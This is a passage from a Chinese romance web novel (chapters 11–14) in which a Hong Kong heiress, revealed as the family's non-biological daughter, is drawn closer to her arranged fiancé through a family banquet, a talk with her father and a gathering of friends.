“你这孩子,净会说些好听的话哄我。”祁夫人嘴上这么说,实际十分受用,精心保养的脸上因为笑容出现几条皱纹。
因为这声笑,原先包厢里若隐若现的紧绷与尴尬消散。
山敬驰扶着祁南骄在主位坐下,而向樾行为他拉开了椅子。
他实在欣赏这个一表人才的后生仔,席间两人交谈不断,碍于场面,宁璇心里着急也无法提醒,她刚刚已经唐突了一次,再一次就算祁夫人不说话,山敬驰也不会任她放肆,她正无计可施,不料祁南骄竟率先开了口:“山总,我有件事想同你们商量。”
一时间,在场众人不约而同地静默下来,注视着主位的老妇人。
自家的事港岛皆知,自然也包括祁夫人,她突然邀约,山敬驰一早就做好了准备,只是没料到她会在此时如此直接的开始,他停箸正身,“您请说。”
他想好了,等祁夫人提起婚约变故,他便就势提出换人,祁夫人是体面人,取消婚约谁先提出都不好看,她不会再决绝他的请求。
虽然他私心里觉得,祁家因为血缘便看不上多年在眼皮子底下长大的衔月,令他略有不满,但向樾行背后的向家与祁家诱惑实在太大,单拎出任一个,都是山家需要仰望的存在,如若不抓紧,他再无法找到比向樾行更合适的联姻人选,也错过了这通往更高地位的台阶。
祁夫人环绕一圈,歉疚的目光在山衔月身上停留一瞬便移开,她心里有愧,不敢看这丫头的神情。
“这事说起来是我的错,以前不顾孩子们的意愿就自作主张定下婚约。两个孩子多年不见,人生各自分出岔路。”
向樾行早就期待外婆说正事了,她这么喜欢山衔月,肯定急着给她撑腰,说不定会提出婚约提前,到时他只用顺势答应,一切水到渠成。可听着听着,他原本闲适的姿势越听越僵硬。
怎么和他想的不太一样?向樾行突然有种不好的预感。
“孩子们的事,还是该由他们自己决定,他们都长大了,我们这些做长辈的不能干涉太多。”
祁南骄语气柔和,却带着多年身居高位的不容置喙,她的目光落在山敬驰身上,笃定而压迫,移到山衔月时,又陡然软了下来:“我也是真心喜欢衔月,我的想法是,如果两个孩子没有感情的缘分,那我就将月月认作干孙女,祁家也有与月月年龄相仿的小辈……”
“外婆!”
11. 婚前日11
祁南骄一顿,被突然站起来的外孙吓了一跳。
小兔崽子一惊一乍什么!
向樾行唇边的笑不达眼底,过去扶起她:“外婆,杨姨安排后厨给您煎了药,您先喝完药再说。”
他朝山敬驰颔首:“不好意思山伯伯,请你们稍候。”
好歹是久经商场锻炼出来的人,即使被祁夫人刚刚一番话打得措手不及,山敬驰依旧面不改色,“夫人身体为重。”
祁南骄糊里糊涂地被带出包厢,等走出一段,她一巴掌拍在了向樾行背上:“臭小子,药什么药,我身体好着呢。”
“外婆,你刚刚说什么呢,什么没缘分,我怎么和她没缘分了?”向樾行顾不得这些,语速飞快,“还干孙女,你还想把她介绍给祁明书吗,亏你想得出来!”
祁南骄还没弄明白他什么意思,就听他满是嫌弃地提起祁明书,听得她火气蹭蹭蹭冒出来,又抽他一下:“臭小子你给我说清楚,明书怎么了,明书可不比你差!”
“呵,祁明书都28了,满脑子都是工作,十天半个月都不回一次家,你觉得山衔月会喜欢他?”
祁明书是祁南骄哥哥的孙子,祁家小一辈里的大哥,哪哪都好,独独在感情上没开窍,她哥回回打电话给她哭诉都是祁明书又推了多少多少相亲,就因这事,圈子里有适龄姑娘的人家几乎全得罪了个遍。
这个死仔包,专挑痛楚戳!祁南骄被他激的一时忘了端庄,口不择言:“那还有明达和明礼呢,他们俩更好,比月月小三岁,正年轻,喜欢哪个随月月挑!”
向樾行:“?!!”
祖孙两个莫名其妙斗起来,杨姨在一旁看得头大:“夫人,少爷,等等等等,说跑偏了!”
向樾行率先冷静下来,他长叹一口气,语气无奈:“外婆,你从前总说我木讷,不知道讨她欢心,我现在好不容易跟她近了一点,你竟然说我们没缘分!”
他是真的有些急了,老天眷顾他,让他有名正言顺的理由去到她身边,亲外婆却把人往外推,还要认干孙女,还什么明书明达明礼!
原以为这小老太太是来帮忙的,结果是来活埋他的!
“等等,你的意思是,”祁南骄终于听出来不对劲,“你讨衔月的欢心?”
“是啊。”
“你说有喜欢的人了,指的是月月啊!”
哎哟,原来都是误会!
一时间,什么气啊不顺啊都忘了,祁南骄高兴地一拍手,笑得比花还灿烂,“那天你回来说有喜欢的人了,我还以为是旁人呢!臭小子,谁让你神神秘秘不告诉我,你直说是月月能掉一块肉啊!”
她说着说着又有些恼,手抬起来又被杨姨拦下。
夫人这一气急就爱动手的毛病多年没变,短短这一会儿少爷快受三巴掌了,还是在外面,多少给留点面子。
向樾行认错速度很快:“是我不好,那天没跟您说清楚,不过现在您知道了,千万别再提什么没缘分了!”
臭小子自小就装,她这个做外婆的都少见他低声下气的时候,祁南骄哼一声,算是应了。
既然阿行喜欢的是月月,那她的担忧就迎刃而解了,两人本来就有婚约,再两情相悦,是喜闻乐见的事。
祁南骄回忆了一下自己刚刚说的……啧,她年纪这么大了,出尔反尔一次怎么了!
两人算是谈妥了,正要原路返回,祁南骄突然想到什么,一把拉住他,满脸怀疑:“光说你喜欢了,月月喜欢你吗?不说你离开这么多年,就是以前在港岛的时候,又装又拽又龟毛……”
她数落起自家外孙是很有一套的。
“就这样,月月看得上你?”
向樾行:“……”
他第一次心有不甘又不得不赞同,如果不是在山衔月的身上发生了这样的事,他们之间绝不会像现在这样发展顺利。
卑鄙也好,无赖也罢,总归和她有婚约的是他。
见他沉默,祁南骄还有什么不明白的,她没多说什么,扯起他的衣袖朝前走。
到底是自己看着长大的亲外孙,她能帮多少帮多少吧。
等包厢门一关上,宁璇先坐不住了。
“祁夫人什么意思?她这是要解除婚约?”她胸口起伏不定,不顾在场还有两个女儿,猛地站起来瞪向山敬驰,“你要是先说出换人……”
“住嘴!”
山敬驰虽然不苟言笑,但也很少这样厉声,宁璇瞬间被吓住,还没说完的话卡在了嗓子眼。
不光是她,山衔月和山晚青也不由一震。
山敬驰满脸不耐,“宁璇,别忘了我跟你说过什么,管好你的嘴。”
他丝毫没有给她留面子,当着两个女儿的面,这么对待她。
宁璇僵在原地,愤怒与羞耻令她不自觉地颤抖着。她精心维持了这么多年的,表面和平的夫妻假象,被她的丈夫在此刻狠狠碾碎,一同掉在地上的还有她可悲的自尊。
山敬驰、山敬驰……她嫁给他,为他生儿育女,他却甚至不屑正眼看她,也从不将她放在与他平等的位置上。
山晚青就在宁璇身边,简直要跟着她一起颤抖。
她回家不久,又已经成人,和亲生父亲的相处时间少得可怜。而山敬驰和她的养父是完全不一样的,他严肃沉默,位高权重,令人不敢主动亲近,她一直对他怀揣着敬畏与胆怯。
此时一发怒更是让她胆颤,但看着呆站原地的宁璇,好像亲眼看着天鹅折颈,她心中十分不好受,因此大着胆子起身想扶她坐下,却不料被一手挥开。
她磕到桌边,重心不稳就要歪倒,一双手及时拽住了她。
她侧目,就见一旁的姑娘朝她淡淡摇了摇头。
这样的事,山晚青和山之遥都没经历过,但她却不陌生。
她打小就知道,自己的父母和别人家的父母不一样。向樾行的父母虽然远在大陆,但只有有空就会来岛看他,每次都带很多礼物。
她第一次去祁家玩的时候,刚好撞上他们来,那是她第一次认识到,原来有爸爸妈妈是那样相处的。
他们会在饭桌上聊天,知道对方的喜好,不经意间就会为对方着想。
他们会在饭后牵着手散步,会挨着看风景,会凑近说悄悄话。
她的爸爸妈妈从来没有这样过,她以为悄悄话只有小孩会说。
她学着样子凑到向樾行耳边,也想和他说悄悄话,却不知说什么好。她当时还不知道什么叫羡慕,只觉得看见他心里别扭,于是捉弄他,在他耳边呼呼吹气。
其实宁璇和山敬驰也没有当着她的面争吵过,但她就是能敏锐地感受到不同。
只是他们不说,她也没戳破过,一家三口维持着表面的和谐这么过下去也挺好的,直到六岁那年,宁璇怀孕了。
那是她
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第一次亲眼见到他们疾言厉色,她还太小,只能从他们的话语中捕捉到一些边角。
“设计”“不择手段”“打掉”……
他们不顾她的哭泣,毫不退让。从那之后,沉默与空无一人成了山公馆的家常便饭,她也习惯了这样的生活。
以至于后来山之遥出生,他们之间的关系缓和,这么多年,她都快忘了之前的日子。
她收回手,兀自低下了头,心里像压了一块大石头。
山敬驰和宁璇如此,她和向樾行……
向樾行不是说奶奶很想她吗,她以为是让她放心,他已经和奶奶提起婚约的事,可祁奶奶刚刚却说什么没缘分……
就在她忧心忡忡的时候,包厢门再次被推开,祁南骄笑眼盈盈地进来。
山敬驰起身:“祁夫人,是我考虑不周,没耽误您用药的时间吧?”
“?”祁南骄才想起外孙刚刚随口胡诌的借口,面不改色地摇摇头:“无妨,是阿行小题大做。”
她坐回位置,视线落在山衔月身上。
山衔月和她对视,掩住心中的担忧,朝她展颜。
祁南骄满眼慈爱,她盼了这么多年的外孙媳妇,真的要成真了。
山敬驰心中着急,刚刚祁南骄的话头十分不妙,他不能眼睁睁看着这桩顶好的婚事这么黄了,必须趁她开口前先发制人。
“祁夫人,我明白您的意思,但婚约定下多年,人尽皆知,所以我想……”
“山总。”祁南骄打断他,山敬驰向来不形于色的脸上浮现凝重的神情,祁南骄唇边的笑意看得他不安,但他不得不止住话。
“我刚刚说的有些欠妥,你们千万别误会,”祁南骄在向樾行和山衔月身上扫过,“我的意思是,要尊重孩子们的意愿,毕竟是他们的婚姻大事。”
“所以,月月,奶奶想听听你的想法。”
登时,包厢内所有人的视线都落在一脸愕然的女孩身上。
山敬驰拿不准这发展,见女儿愣着不说话,低声提醒:“月月,祁夫人问你话。”
山衔月回神时,桌布已经被她攥出了密乱的褶子,她瞥向祁南骄身侧的向樾行,他正看着她。
你说了什么,怎么祁奶奶出去一趟话锋又变了?
男人接收到她的信号,却做出无辜的样子,不方便做大动作,他便勾着唇歪了歪头。
山衔月没好气地收回视线,她就知道他靠不住。
眼下只能随机应变了,她对上祁南骄温柔的目光,略带试探地开口:“奶奶,我没觉得受委屈。”
祁南骄眼神一亮,“那月月觉得阿行怎么样?”
怎么样?他就是个装货,还是个很混蛋的装货,等她借着他顺利离开山家,她就跟他一刀两断,大路朝天各走一边,谁也不碍着谁。
“我觉得他挺好的。”山衔月一脸乖巧。
“好!”不等她话音落,祁南骄急不可耐地又问向樾行,“阿行,你呢?”
月月都已经这么说了,你赶快表表真心!
祁南骄就差把“撮合”写脸上了,山衔月垂下头,羞耻地脚趾抓地。
若不是当着这么多人的面,她一定把耳朵捂起来,可惜不等她进化到能自动屏蔽声音,正侧面的男人便开口了。
不看他的脸,他的声音变得更加清晰。
“外婆,衔月很好,我正在追求她。”
12. 婚前日12
这顿饭在祁南骄心满意足的笑声中结束。
对于山家来说,实在不算安宁。
车内一路无话,回到家,宁璇直接上了楼,一个眼神都没留。
山敬驰:“月月,你跟我来。”
山衔月的心跳似乎还在为刚刚饭桌上的事砰砰加速,晕晕乎乎地跟在他后面进了书房。
山敬驰没有像往常一样坐到书桌后,而是带她去了阳台。
他书房的阳台,山衔月从来没有踏足过,看清布置时她不自觉张着嘴,愣神了好一会儿。
拉开那厚重的浅灰色窗帘,露出阳台的全景,浅色的竹藤沙发,配套的茶几上摆着两本书,随手夹着的书签露了一半在外面,似乎是刚看过不久。
最让她震惊的还是遍布整个阳台的绿色,她凑过去看,那一丛丛植株竟然都是活的,鲜绿的叶子捻在指尖,甚至能感受到上面未散的水珠,显然被人精心照料着。
这块区域,完全不像是会出现在山敬驰私人领域的模样。
“月月。”山敬驰看着她目瞪口呆的样子,从鼻腔里泄出一声轻笑,唤她坐下。
山衔月没错过这一声微不可察的笑,他的表现实在太过反常,她甚至萌生出一种惶恐的心情。
今天发生的一切都太戏剧性,她一时有些拿不准接下来又会走向什么发展,山敬驰突然向她展现与以往不同的一面,令她觉得似乎要得知什么天大的秘密。
她在山敬驰身旁的单人沙发上坐下,他却似乎没有要马上开口的打算,慢条斯理地摆弄着茶具——他竟然还自己泡茶!
旁人不知,但她这个做了几十年女儿的清楚,他平日最嫌麻烦,任何事都追求速战速决,完全不是会慢着性子泡茶怡情的人。
“……爹地。”看着山敬驰娴熟地泡出一壶热茶,再斟满两杯,山衔月语塞。
她的震惊在山敬驰的意料之中,他轻抿了一口杯中的茶水,眉头微不可察地蹙起又松开,这茶喝了几十年,他还是喝不惯,不懂她为什么爱这一口。
不知怎的,山衔月总觉得山敬驰此刻很不一样,在这一方天地里,他很自在,很舒适,不像是即将迈入知命之年的中年男人,似乎卸下了肩上背负的担子,在这里做回了自己。
“月月,你喜欢这吗?”
他冷不丁来这么一句,山衔月被问得一愣,“我?”
她环视一圈,“爹地你布置得很好呢,不过你知道我的,我对绿植一窍不通,但看起来是舒心的。”
她没看见山敬驰微怔一瞬。
是啊,她不像她,不仅长得不像,性格也不像,就连喜好也是天差地别,每每他试图从她身上找一点她的影子时,总是求不得。
他真是糊涂了,山敬驰自嘲地笑笑,放下了茶杯,刚刚那种闲适与风流似乎只是泡影,顷刻间消散。
熟悉的气场回来,山衔月也放下茶杯,正襟危坐,时刻准备应对他。
话在嘴边斟酌,山敬驰敛眸思索着该如何开口。
他之所以要提出婚约换人,有一部分私心在,他想她可以活得痛快点,可以自己决定喜欢的人。
“月月,爹地是想问问你,真的愿意嫁给樾行吗?”
山衔月警惕的雷达响起。
他为什么这么问,他是发现了什么吗?她已经和向樾行串好了口供,不可能出差错,方才在饭桌上,虽然有小波折,但最后的结果是好的,祁奶奶对他们的婚事十分满意,这事已经板上钉钉。
山衔月默默深吸了一口气,语气淡淡,“爹地,我是真心的,我和向…阿行从小一起长大,我们……”
山敬驰看着眼前的女儿,视线却逐渐模糊,好像透过她看见了另一个人,她此刻的神情倒是和她很像,那一年,她也是这样,心虚又嘴硬地说着喜欢他,要跟他在一起。
他打断了女儿的话,声音低沉而笃定,甚至像是承诺:“月月,你是我的女儿,山家永远有你的位置,爹地会为你打点好所有东西,你不用因为……而担忧,知道吗?祁夫人也说了,如果你不想嫁给向樾行,她会认你做干孙女,祁家的小辈你也都认识,都很出色。”
他语重心长,字字句句都透露着真心,却让山衔月更加困惑,她不知道他为什么突然这样说,垂着头不知该如何回答。
是她搅黄了他想让山晚青嫁去的计划,他想让她主动反悔吗?
“和向樾行联姻,婚后是要住在京都的,月月,你在港岛生活了这么多年,真的愿意离开吗?”他镜片后的眼睛晦暗锐利,好像能洞察一切,“月月,你想好了吗?”
“如果你嫁给向樾行,只是因为担心变故会对你的生活产生什么影响,不必这样,爹地会让你有幸福的人生,你……”
“不,爸爸,”山衔月猛地站起身,他越说越让她心慌,她不想和他就这个问题讨论再讨论了,“那些东西你或许不在意给我,但我再也不能心安理得地接受。”
“我会愧疚,会心虚,我不想低着头过一辈子。”
-
山家最近一直处在新闻的风口浪尖上,真假千金的新闻多新鲜多劲爆,若是再能拍到一些富豪秘闻,或是千金扯头花,那今年的业绩都不用愁了。
因此,祁家公布好事将近的消息时,仅仅一上午的时间,传遍了整座城市。
这件事从祁老夫人口中传出,任谁都知道这是什么意思,吃瓜群众没想到两家的婚约竟然还作数,更没想到的是,向樾行的联姻对象,竟然还是山衔月,曾经万众瞩目,作风张扬的大小姐,如今众人皆知的假千金。
这无疑比当时山敬驰公开所说,继续将山衔月视如己出引起的风波更大,毕竟论起来,山家还不够和祁家,甚至于是京都向家,一个档次。
自从婚约的事公开,山衔月收到的邀约又多了起来,其中不乏是她曾经表面亲密,后来对她不屑一顾的“朋友们”,论见风使舵,可没人比这些人精厉害。
秦觅蓝十分解气,撺掇着她精彩亮相,好好给这些人上一课,光听她的描述都能想象到打出的耳光会有多响亮多爽,可不知为何,山衔月就是提不起来劲头。
那天饭局后,祁南骄最热衷的事变成了给她发各式各样的订婚宴照片,昨天两人刚刚约了顿下午茶,没想到她直接将一团队的人带了过来,说是一边吃一边给她们参考几个布置。
她全程都好像飘在云里,一点实感都没有——那时她才意识到,她其实根本没有做好结婚的准备。
她爹地那天有一句话说对了,和向樾行结婚就代表她要离开生活了多年的港岛,定居京都。
她曾经决定要去找向樾行的时候,想过这个问题,当时觉得逃离这个裹挟着她不堪的城市很好,她靠着一腔孤勇压住向樾行,他点了头,她就天真地以为万事大吉,可真见订婚提上日程,她反倒惴惴不安起来。
此时坐在向樾行的车上,她还在苦恼着这件事。
等待红绿灯的间隙,向樾行看向副驾驶上一副苦大仇深表情的女人,不由失笑,“想什么呢?”
“开你的车。”山衔月嘟嘟嘴没理他。
今天是周樵组的熟人局,里面大多是他在内地的朋友,刚好来港岛旅游,约着聚在一起见一面。
她一开始收到邀约直接拒绝了,但周樵昨天给她打了三通电话,一次比一次叫得可怜,她实在耐不住他磨,才点头答应。
向樾行消息倒是灵通,今天直接出现在了山公馆门口,说是接她
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去周樵的住处,他们现在是人尽皆知的预备役情侣加夫妻,她只好上了他的车。
向樾行丝毫不在意她的爱答不理,自得地收回视线,目光移到她瓷白的手腕上顿了一下,她今天戴着一串多宝手串,圆润纯净,叠戴着一条细细的手链,缀着几颗不规则绿钻,和多宝上的绿色交相辉映,十分夺目。
口袋里的小方盒抵着大腿,硬实的质感提醒着向樾行,务必找一个合适的时机将它送出去。
他今日准备的恰巧是绿色,和她手上的很搭,她应当会喜欢的。
等车稳稳停进地下车库,山衔月拿起包下车,两人一前一后进了电梯。
周樵家买在第32层,看着电梯上显示的层数一点点爬高,向樾行拿出了那枚丝绒绿的方盒。
脖颈间一凉,山衔月下意识耸肩,“你干嘛?”
身后男人身上清淡的香水味逼近,温热的指尖时不时轻触她后颈最敏感的皮肤,她感受到那细细的金属质感,反应过来是什么东西。
向樾行很少碰这些小玩意儿,那小小的锁扣在他手里一点不听话,几次三番划开,他没有回答山衔月的问话,面不改色地继续跟项链做斗争,总算赶在她不耐烦前扣上。
透过明亮的电梯墙面,山衔月看见脖颈间多出的那一抹绿色,金色的链条缀着一颗被钻石包围的绿宝石,款式简洁,但浓郁而清透的色泽昭示着它的价格不菲,最重要的是,它和她今天的搭配十分和谐,一点看不出是中途加入的后来者。
这昂贵的绿色衬着她莹润细腻的肌肤,让人的视线不由自主集中到她锁骨之间,连她也情不自禁地欣赏起来,一时忘记身边还站着个男人。
山衔月像个对着倒影左右摆弄修长脖颈的小天鹅,他见她没有表露出抗拒,提着的心略略松缓。
“喜欢吗?”他忍不住低声问。
宛若一颗石子砸向平静的湖面,荡开的涟漪搅乱了天鹅的影子,山衔月猛地错开视线,才意识到自己做了什么。
她竟然因为向樾行送的小玩意儿出了神!
不过是一颗小小的宝石,在她自小看过的珠宝里,不是最大的、最亮的、也不是最贵的,只不过恰好和她今天很搭配而已。
“一般吧,”山衔月昂起下巴,上挑的眼尾斜他,“不过你无缘无故送东西给我干嘛?”
向樾行和她凑得很近,他给她扣好项链后并没有离开,她没发现,他便继续缓着呼吸,赖在她身侧,视线胶着在她身上,想去看她的眼,又怕被她看破心思,只能盯着她锁骨窝的绿宝石。
山衔月的声音里带着他最熟悉的嫌弃与娇蛮,却一点不惹人厌,只叫他想更加过分地凑近她,侵占她周围的空间与空气,他想她看的,触摸的,感受的,统统是他。
“送女朋友礼物,是我应该做的,”向樾行极力掩饰嗓音的不自然,“不需要理由。”
我会把你要的,不要的,所有好的,都捧到你面前。
他视线上移,她已经不再看他,也就没发现他直白而炙热的目光,最后这半句,他用眼睛诉说给她。
他从前年少气盛,看不清自己的心意,也低不下头像那些小子一样为她俯首称臣,白白浪费了这么多年,回过头看才发现最傻的不是那群争抢着捧她的愣头青,而是他。
不过没关系,他暗嗅她身上的香气,往后,他会是她唯一的裙下臣。
山衔月甚至能感受到他的气息喷洒在她耳后和颈间的皮肤上,他嗓音比平时还要低,因为距离太近,一字一句清晰到像是砸在她耳膜上,害她惊起战栗。
他的话音已落,却又撞在电梯四壁上返回来,在她胸腔里回荡,和心脏共舞,乱了的鼓点她思索不及,电梯门突然打开。
13. 婚前日13
周樵家是一梯一户,因此电梯门打开,迎面就是他的笑脸,“来来来,贵客驾到!”
山衔月被陡然出现的脸吓了一跳,做贼心虚般猛地和身后的男人拉开距离,快步迈出电梯,好像躲什么洪水猛兽似的。
周樵丈二和尚摸不着头脑,凑到向樾行面前,“你又惹大小姐生气了?”
还没走远的山衔月听见他刻意压低的话,宛如被踩了尾巴的猫,一跺小高跟,“余焦,我生气跟他有什么关系!”
周樵原名余焦,他母亲周婕离婚后抢过了他的抚养权,要让他改姓周,余焦激动得热泪盈眶,自己拍板改名为周樵,摆脱了“焦焦”这个小名。
后来周婕女士带他回港岛上中学,和向樾行同班,当时山衔月的班级在他们楼下,每天放学,向樾行要去等她,周樵也因此认识了山衔月。
他是个十足的话痨,跟谁都能聊起来,碰上山衔月简直是火星撞地球,一个吹捧一个享受,没过两天,不用向樾行喊他,他每天收拾好书包就朝楼下跑,两人聊起来就发狠了忘情了,某一天,他脑子一抽将自己的原名说了出去…
结果就是,又被山衔月揪着叫了这么多年。
“衔月,说好不提这个的,”周樵苦着脸,习惯性贫嘴,“我这是关心则乱,你放心,虽然你俩现在成一家了,但我百分百是你婚前财产,他要是敢对你不好,我第一个揍他!”
不料,山衔月听见他这话好像更生气了,甚至气得脸蛋涨红,周樵以为自己说错什么了,不知所措地向向樾行求助。
向樾行:“……”
他忍着跟周樵打一架的冲动,快步走去山衔月身边,不由分说地裹住她的手,对周樵说:“不劳你费心。”
山衔月哪里愿意让他牵,扭着手腕要挣脱开来,明明那天她对他们之间假扮情侣接受良好,还主动握住他的手,可如今却在他手里抗拒地扭成麻花。
山衔月自己也不知道为什么,或许是因为刚刚在电梯里距离实在太近,又或是他笨手笨脚给她戴项链,那触感残留在她皮肤上久久不散,让她心尖好像也蒙上一层黏腻,总之现在让她和向樾行手牵手,她总觉得和那天在咖啡馆时不一样了。
但眼前的人已经不是曾经只比她高半个头的少年,她现在站直也只能看见他凸起的喉结,他宽大的手掌更是能单手握住她两只手腕,他有心禁锢时,她是无论如何挣脱不得的。
“月月,”向樾行眉眼无奈,手上的力道却丝毫不减,“有人在看。”
山衔月一愣,后知后觉地看向不远处,玄关隔断后面不知何时冒出几个头,正兴致勃勃地看着他们,见被她发现,还个个看热闹不嫌事大地打招呼。
山衔月:“……”
丢死人了。
与他斗争的力突然消失,向樾行胸前一紧,就见刚刚还恨不得和他打一架的女人此时像鸵鸟一样缩下去,不止被他握住的手放弃了挣扎,连空闲的那只都悄悄攀上了他的衣襟,恨不得将整个人都藏进他怀里。
向樾行勾唇,在她背后安抚性地拍拍,“没事,他们不会乱说的。”
“没事个鬼,早知道我就不来了!跟你们凑一起就没好事!”山衔月羞耻地想找个地缝钻进去。
现在谁都知道她和向樾行的关系,他们岂不是认为他们两个在别人家门口打/情骂、俏!她长这么大尴尬的次数屈指可数,细算起来次次都和向樾行有关,他简直克她!
山衔月一边瞪他一边用他的身体做遮挡,整理好情绪,毫不留情地松开手,朝隔断后的几人露出了个标准的笑容,“你们好。”
“你好你好!”客厅爆发出一阵激动的鬼叫,他们早就忍不住了,轰一下涌过来将他们包围。
向樾行还没反应过来,怀里的女人就被簇拥着离他而去,甚至连个眼神都没留给他。
见他吃瘪,周樵心里偷笑,上来浑水摸鱼地捶了他一下,不等接受制裁,脚底抹油溜去了沙发。
向樾行冷着脸理了理自己被周樵弄出些微褶皱的肩膀处,却对看起来更可怜的衣襟处视若无睹。
等他坐下时,山衔月已经完美融入了热络的氛围,她从小练就的超强社交能力此刻显露无疑,尤其是问起好吃好玩的,她如数家珍。
人群里两个小姑娘听得眼睛冒光,一个接一个问题不断,向樾行皱眉看向她们身边坐着的男人。
钟易驰好容易摆脱了两个小魔女的折磨,刚放松下来,就感受到了某人落在自己身上,暗含警告的视线。
大少爷这就不乐意了?
钟易驰用脚趾头想都知道是谁在看他,他玩味地勾起唇,毫不客气看回去。
在场的除了周樵,数他和向樾行最熟,他可不怵他,而且,见他这样,他倒是对他这位未婚妻更好奇了。
他视线转移到坐在一旁单人沙发上的女人。她是偏精致娇俏的长相,长长的睫毛让人看她的第一秒会不由自主地关注她的眼睛。
睫下的眼珠黑亮亮的,里面藏着的,让人拿不准是狡黠还是戏谑。
女人坐在沙发上纤小一只,进入温暖的室内,她脱下了穿在外面的针织罩衫,露出里面一袭墨绿色吊带长裙,脖颈上精致小巧的绿宝石与腕间的手饰搭配很和谐。
“咳。”一声突兀的轻咳,其他人都没在意,只有钟易驰回过神来,好笑地收回视线。
真的,若是时光倒流回大学刚认识向樾行的时候,打死他都不信,有一天能亲眼看见向大少这副模样,他不过是多看了两眼他都不愿意,跟护眼珠子似的。
他笑够了,刚准备拍拍身旁的小姑娘,让她们别再缠着山衔月,就觉沙发一空。
原本坐在他身边的两个小女孩离开位置,挤到了山衔月身边,一张小小的单人沙发,她们两人一边一个扶手,一口一个“姐姐”甜甜地叫着,就差把胳膊环上去了。
这俩鬼精灵是钟易轩的双胞胎妹妹,刚过10岁生日,听说哥哥要来旅游,说什么也要跟过来,钟易轩实在扛不住她们见缝插针的哀求,无奈同意了。
可是刚下飞机他就后悔了,这俩虽然不至于在公共场合哭闹,但是实在太难伺候了!要好玩的好吃的好看的,他和她们口味完全不一致,硬生
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生遭受了两天的折磨。
看着这俩黏在山衔月身上的眼睛,钟易轩在自由安宁和兄弟之间犹豫,最后用0.0001秒无条件选择了自由。
无能为力了好兄弟,他一脸无辜地朝瞪着他的男人耸耸肩。
向樾行闭眼,他交友不慎不是一天两天了。
再听时,单人沙发处已经换了不知几个话题,她们聊着聊着,突然一声稚嫩的嗓音:“月月姐姐,你觉得我哥哥怎么样?”
“?”
“噗!!”
钟易轩真呛着了,疯狂咳嗽起来,身边人连忙给他递纸拍背。
周樵没忍住泄出一声笑,生怕自己家成案发现场,硬生生憋住了,“童言无忌,童言无忌啊哈哈哈哈。”
只是他破功太快,惹得旁边本来不想笑的人也笑起来。
钟宜香和钟宜恬才不管这些呢,眼睛亮晶晶地看着山衔月,好白好香的姐姐,要是是她们家的就好了,她们愿意把自己最喜欢的珠宝给她,还能亲亲她抱抱她。
“小兔崽子,乱说什么呢!”钟易轩缓过来,照着妹妹的脑袋一人一下。
“啊!”宜香捂着脑袋不服气,“妈妈不肯给我们生姐姐,我们有什么办法!”
宜恬还不忘给趁机给自家哥哥找补:“月月姐姐,哥哥虽然欺负我们,但是绝对不会欺负姐姐的哦。”
人小鬼大的模样,山衔月忍俊不禁,在想用什么理由拒绝能让她俩没那么沮丧的时候,一道身影突然站起。向樾行走过去,在山衔月沙发背后停下,双手撑上椅背,对着两个小姑娘露出清浅的笑。
宜香宜恬跟他不陌生,见他过来乖巧地喊“樾行哥哥”。
沙发上的女人偏头疑惑地看他,向樾行突然抬手抚了抚她的发。
这个动作显然跨越了正常的社交范围,宜香宜恬虽然年纪小,但懂得多,两姐妹对视一眼,都看见了对方眼里的不妙。
果不其然,男人的轻声开口,说出的话却不容置喙:“你们想要姐姐,但月月姐姐不行。”
“为什么!”
“因为,月月姐姐有男朋友,男朋友你们懂吗,就是未婚夫,未来的丈夫。”他轻笑一声,“哥哥我好不容易才让月月姐姐答应,你们休想截胡哦。”
这一席话信息含量太大,让两个小姑娘石化在原地。
山衔月也陷入呆滞,向樾行他真的有病,他真的有病!他在跟小朋友说什么啊!!
她羞耻疯了,低下头,手肘撑在膝盖上,死死捂住脸,发间露出的耳尖上不知何时染上了艳色,这一幕看得宜香宜恬更是心死。
姐姐她害羞了,呜呜是双向奔赴怎么办。
钟易轩嘴角抽搐着,一把拉过俩不省心的傻妹妹,“安分点吧你们。”
他朝山衔月颔首,“弟妹,抱歉啊。”他这时还不忘占向樾行的便宜,可向樾行却在听见他话时扬起了唇。
弟妹……山衔月刚要摆手的动作顿了一下,才意识到这是喊她,下一秒,头顶传来男人的轻笑,“易轩哥你客气了。”
“………………”
14. 婚前日14
回去的路上,向樾行心情颇好,山衔月懒得理他,坐在副驾驶上刷手机。频繁的“嘀噔”声引起了向樾行的注意,他想问是谁的消息,张张口又放弃。
即使亲耳听了向樾行的话,宜恬还是不死心,在刚创建还热乎的三人小群里活跃。
宜恬:【月月姐姐,你真的是樾行哥哥的老婆吗?】
宜香:【樾行哥哥说了,他是月月姐姐未来的老公,现在还只是男朋友呢。】
山衔月好容易将尴尬忘记,又被姐妹俩唤醒,狠狠剜了驾驶座上的男人一眼。
山衔月:【唔,宜香说得对。别说这件事了,你们接下来准备去哪里玩?】
宜香:【明天我们就让哥哥带我们去你说的那家店吃饭!】
宜恬:【姐姐,我们还想见你怎么办?你以后会去京都吗?】
看着她的消息,山衔月神情滞了一瞬,被她抛之脑后的忧思又浮了上来。
宜恬:【姐姐,京都最近雪下得可大了,你如果来的话,我们可以一起堆雪人,哥哥他嫌我们幼稚,不肯跟我们玩。】
雪?她从小怕冷,不会将旅游安排在冬天,只有在外留学那几年经历过几场雪,是很美,但也很冻人。
她盯着车窗外飞掠过的景色出神,不知怎的,竟有些动心。
“向樾行。”
突然听见她喊他,向樾行转头。
“京都最近在下雪吗?”
她的问题出乎意料,“怎么想起这个?”
她很怕冷,从前一到冬天,早上等她上学就成了难捱的事,他都习惯了,一到冬天便将自己的闹钟提前半小时,司机送他到山家,曹姨见他来了,才会狠心将她从床上拉起来。
“就是突然想起,”山衔月漫不经心,“我好久没见过雪了。”
绿灯亮起,向樾行转过头专注开车,轻笑:“你不是最讨厌冬天?”
没得到想要的回答,山衔月“啧”了一声:“我什么时候说过讨厌?”
“只是太冷了,想穿的衣服都没得穿,我才不想裹得厚厚的出去!”
他总是轻易就能将她惹炸毛,事后又忙着捋顺,乐此不疲。
向樾行失笑,回想,“昨天和衡筠打电话的时候,她是提起,京都下了好些年都没有过的大雪。”
从他的视角看过去,她侧头看着窗外,白皙莹润的皮肤让人看着就忍不住幻想触摸时的柔软,扑闪的睫毛像蝴蝶振翅,她明明在听他的话,却不再开口——他有关她的直觉一向准。
向樾行福至心灵,试探道:“这样的大雪也难得,你想不想,去看看?”
-
从山公馆回南山公馆的路上,笑容像刻在了他脸上似的,全程没有落下。
客厅里,祁南骄正和远在京都的女儿通着话,俞雅琦那边时不时有翻看的动静:“我想起了,还有一对金丝阳绿的镯子,水头颜色都是一等一的,我要去添上。”
